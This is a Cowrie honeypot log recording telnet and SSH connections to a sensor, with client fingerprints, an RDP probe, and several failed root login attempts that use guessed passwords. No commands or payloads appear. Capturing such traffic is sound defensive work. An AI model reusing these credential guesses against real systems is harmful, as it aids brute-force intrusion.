{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48966,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9cc9f1e0ddf","protocol":"telnet","message":"New connection: 192.119.13.58:48966 (10.17.0.5:23) [session: d9cc9f1e0ddf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:52:25.135202Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:52:25.704241Z","src_ip":"103.75.182.198","session":"b77b485299d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.37221360206604,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:52:39.406320Z","src_ip":"192.119.13.58","session":"452017512b74","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57534,"dst_ip":"10.17.0.5","dst_port":23,"session":"662945369a85","protocol":"telnet","message":"New connection: 192.119.13.58:57534 (10.17.0.5:23) [session: 662945369a85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:52:41.587343Z"}
{"eventid":"cowrie.session.closed","duration":51.08669424057007,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:52:45.846858Z","src_ip":"192.119.13.58","session":"1920121db3c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43440,"dst_ip":"10.17.0.5","dst_port":23,"session":"5dbaee3b5f98","protocol":"telnet","message":"New connection: 192.119.13.58:43440 (10.17.0.5:23) [session: 5dbaee3b5f98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:52:50.668319Z"}
{"eventid":"cowrie.session.closed","duration":48.2448468208313,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:53:00.482829Z","src_ip":"192.119.13.58","session":"790ebf7f1644","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59634,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c704a5a524a","protocol":"telnet","message":"New connection: 192.119.13.58:59634 (10.17.0.5:23) [session: 3c704a5a524a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:53:01.307425Z"}
{"eventid":"cowrie.session.closed","duration":38.67796730995178,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:53:01.458192Z","src_ip":"192.119.13.58","session":"6b805ac51746","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.46959114074707,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:53:07.604692Z","src_ip":"192.119.13.58","session":"d9cc9f1e0ddf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46744,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6677727499d","protocol":"telnet","message":"New connection: 192.119.13.58:46744 (10.17.0.5:23) [session: b6677727499d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:53:11.746824Z"}
{"eventid":"cowrie.session.closed","duration":31.070765733718872,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:53:12.657971Z","src_ip":"192.119.13.58","session":"662945369a85","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33810,"dst_ip":"10.17.0.5","dst_port":23,"session":"84cf60c3146e","protocol":"telnet","message":"New connection: 192.119.13.58:33810 (10.17.0.5:23) [session: 84cf60c3146e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:53:15.399057Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39616,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb8c09102321","protocol":"telnet","message":"New connection: 192.119.13.58:39616 (10.17.0.5:23) [session: bb8c09102321]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:53:16.719371Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37134,"dst_ip":"10.17.0.5","dst_port":23,"session":"1da7189f5d5a","protocol":"telnet","message":"New connection: 192.119.13.58:37134 (10.17.0.5:23) [session: 1da7189f5d5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:53:17.171298Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37994,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea5728244e4b","protocol":"telnet","message":"New connection: 192.119.13.58:37994 (10.17.0.5:23) [session: ea5728244e4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:53:23.161602Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33508,"dst_ip":"10.17.0.5","dst_port":23,"session":"9bb4b7c43ab9","protocol":"telnet","message":"New connection: 192.119.13.58:33508 (10.17.0.5:23) [session: 9bb4b7c43ab9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:53:28.780771Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40872,"dst_ip":"10.17.0.5","dst_port":23,"session":"145ed2720ed2","protocol":"telnet","message":"New connection: 192.119.13.58:40872 (10.17.0.5:23) [session: 145ed2720ed2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:53:30.374145Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45256,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0fb02804d20","protocol":"telnet","message":"New connection: 192.119.13.58:45256 (10.17.0.5:23) [session: b0fb02804d20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:53:31.490133Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50674,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae015ecccade","protocol":"telnet","message":"New connection: 192.119.13.58:50674 (10.17.0.5:23) [session: ae015ecccade]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:53:33.875050Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50060,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb552c10151b","protocol":"telnet","message":"New connection: 192.119.13.58:50060 (10.17.0.5:23) [session: bb552c10151b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:53:39.268290Z"}
{"eventid":"cowrie.session.closed","duration":49.105037689208984,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:53:39.773267Z","src_ip":"192.119.13.58","session":"5dbaee3b5f98","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.92286229133606,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:53:40.230196Z","src_ip":"192.119.13.58","session":"3c704a5a524a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35552,"dst_ip":"10.17.0.5","dst_port":23,"session":"3db425dd7920","protocol":"telnet","message":"New connection: 192.119.13.58:35552 (10.17.0.5:23) [session: 3db425dd7920]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:53:42.774723Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40790,"dst_ip":"10.17.0.5","dst_port":23,"session":"df28f417e0bc","protocol":"telnet","message":"New connection: 192.119.13.58:40790 (10.17.0.5:23) [session: df28f417e0bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:53:43.973510Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48792,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6356c176ae1","protocol":"telnet","message":"New connection: 192.119.13.58:48792 (10.17.0.5:23) [session: e6356c176ae1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:53:45.905657Z"}
{"eventid":"cowrie.session.closed","duration":0.0051348209381103516,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:53:45.910662Z","src_ip":"192.119.13.58","session":"e6356c176ae1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":38786,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b22552e59b1","protocol":"ssh","message":"New connection: 109.237.96.109:38786 (10.17.0.5:22) [session: 2b22552e59b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:53:47.714329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:53:47.719420Z","src_ip":"109.237.96.109","session":"2b22552e59b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:53:47.813636Z","src_ip":"109.237.96.109","session":"2b22552e59b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rambler","message":"login attempt [root/rambler] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:53:48.115898Z","src_ip":"109.237.96.109","session":"2b22552e59b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:53:49.216901Z","src_ip":"109.237.96.109","session":"2b22552e59b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.858410120010376,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:53:51.577661Z","src_ip":"192.119.13.58","session":"bb8c09102321","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.04243493080139,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:53:51.789155Z","src_ip":"192.119.13.58","session":"b6677727499d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":41324,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6f62b333fb5","protocol":"ssh","message":"New connection: 103.195.236.96:41324 (10.17.0.5:22) [session: f6f62b333fb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:53:54.808968Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:53:54.814186Z","src_ip":"103.195.236.96","session":"f6f62b333fb5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:53:55.051343Z","src_ip":"103.195.236.96","session":"f6f62b333fb5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.04876947402954,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:53:55.447671Z","src_ip":"192.119.13.58","session":"84cf60c3146e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"danil2001","message":"login attempt [root/danil2001] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:53:55.764748Z","src_ip":"103.195.236.96","session":"f6f62b333fb5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.56027007102966,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:53:56.731472Z","src_ip":"192.119.13.58","session":"1da7189f5d5a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:53:57.004433Z","src_ip":"103.195.236.96","session":"f6f62b333fb5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.7023229598999,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:54:04.863813Z","src_ip":"192.119.13.58","session":"ea5728244e4b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44606,"dst_ip":"10.17.0.5","dst_port":23,"session":"7767bc3d2774","protocol":"telnet","message":"New connection: 192.119.13.58:44606 (10.17.0.5:23) [session: 7767bc3d2774]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:54:05.392819Z"}
{"eventid":"cowrie.session.closed","duration":32.95659947395325,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:54:12.224735Z","src_ip":"192.119.13.58","session":"bb552c10151b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.05224394798279,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:54:12.426281Z","src_ip":"192.119.13.58","session":"145ed2720ed2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49266,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5f10c40d047","protocol":"telnet","message":"New connection: 192.119.13.58:49266 (10.17.0.5:23) [session: b5f10c40d047]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:54:13.155346Z"}
{"eventid":"cowrie.session.closed","duration":44.556209325790405,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:54:13.336910Z","src_ip":"192.119.13.58","session":"9bb4b7c43ab9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.97571134567261,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:54:14.465726Z","src_ip":"192.119.13.58","session":"b0fb02804d20","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58048,"dst_ip":"10.17.0.5","dst_port":23,"session":"018e255abafd","protocol":"telnet","message":"New connection: 192.119.13.58:58048 (10.17.0.5:23) [session: 018e255abafd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:54:15.230790Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":48216,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f016f7c4199","protocol":"ssh","message":"New connection: 103.149.28.157:48216 (159.203.135.109:22) [session: 2f016f7c4199]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:54:19.945388Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:54:19.950474Z","src_ip":"103.149.28.157","session":"2f016f7c4199","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:54:20.196813Z","src_ip":"103.149.28.157","session":"2f016f7c4199","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"99999","message":"login attempt [root/99999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:54:20.936701Z","src_ip":"103.149.28.157","session":"2f016f7c4199","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56694,"dst_ip":"10.17.0.5","dst_port":23,"session":"5704bd8285d9","protocol":"telnet","message":"New connection: 192.119.13.58:56694 (10.17.0.5:23) [session: 5704bd8285d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:54:21.588272Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:54:22.189672Z","src_ip":"103.149.28.157","session":"2f016f7c4199","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.33972454071045,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:54:24.313102Z","src_ip":"192.119.13.58","session":"df28f417e0bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40752,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d856dff2270","protocol":"telnet","message":"New connection: 192.119.13.58:40752 (10.17.0.5:23) [session: 2d856dff2270]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:54:24.681065Z"}
{"eventid":"cowrie.session.closed","duration":43.24462580680847,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:54:26.019221Z","src_ip":"192.119.13.58","session":"3db425dd7920","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42110,"dst_ip":"10.17.0.5","dst_port":23,"session":"253772c81728","protocol":"telnet","message":"New connection: 192.119.13.58:42110 (10.17.0.5:23) [session: 253772c81728]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:54:26.035174Z"}
{"eventid":"cowrie.session.closed","duration":56.212000131607056,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:54:30.086942Z","src_ip":"192.119.13.58","session":"ae015ecccade","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":62699,"dst_ip":"159.203.135.109","dst_port":22,"session":"978ee6dedc59","protocol":"ssh","message":"New connection: 167.172.81.52:62699 (159.203.135.109:22) [session: 978ee6dedc59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:54:33.369189Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:54:33.374034Z","src_ip":"167.172.81.52","session":"978ee6dedc59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:54:33.377217Z","src_ip":"167.172.81.52","session":"978ee6dedc59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55314,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0189436c88e","protocol":"telnet","message":"New connection: 192.119.13.58:55314 (10.17.0.5:23) [session: f0189436c88e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:54:35.110581Z"}
{"eventid":"cowrie.session.connect","src_ip":"148.153.121.223","src_port":45984,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a9a6e125bd8","protocol":"ssh","message":"New connection: 148.153.121.223:45984 (10.17.0.5:22) [session: 1a9a6e125bd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:54:35.168059Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:54:35.173270Z","src_ip":"148.153.121.223","session":"1a9a6e125bd8","protocol":"ssh"}
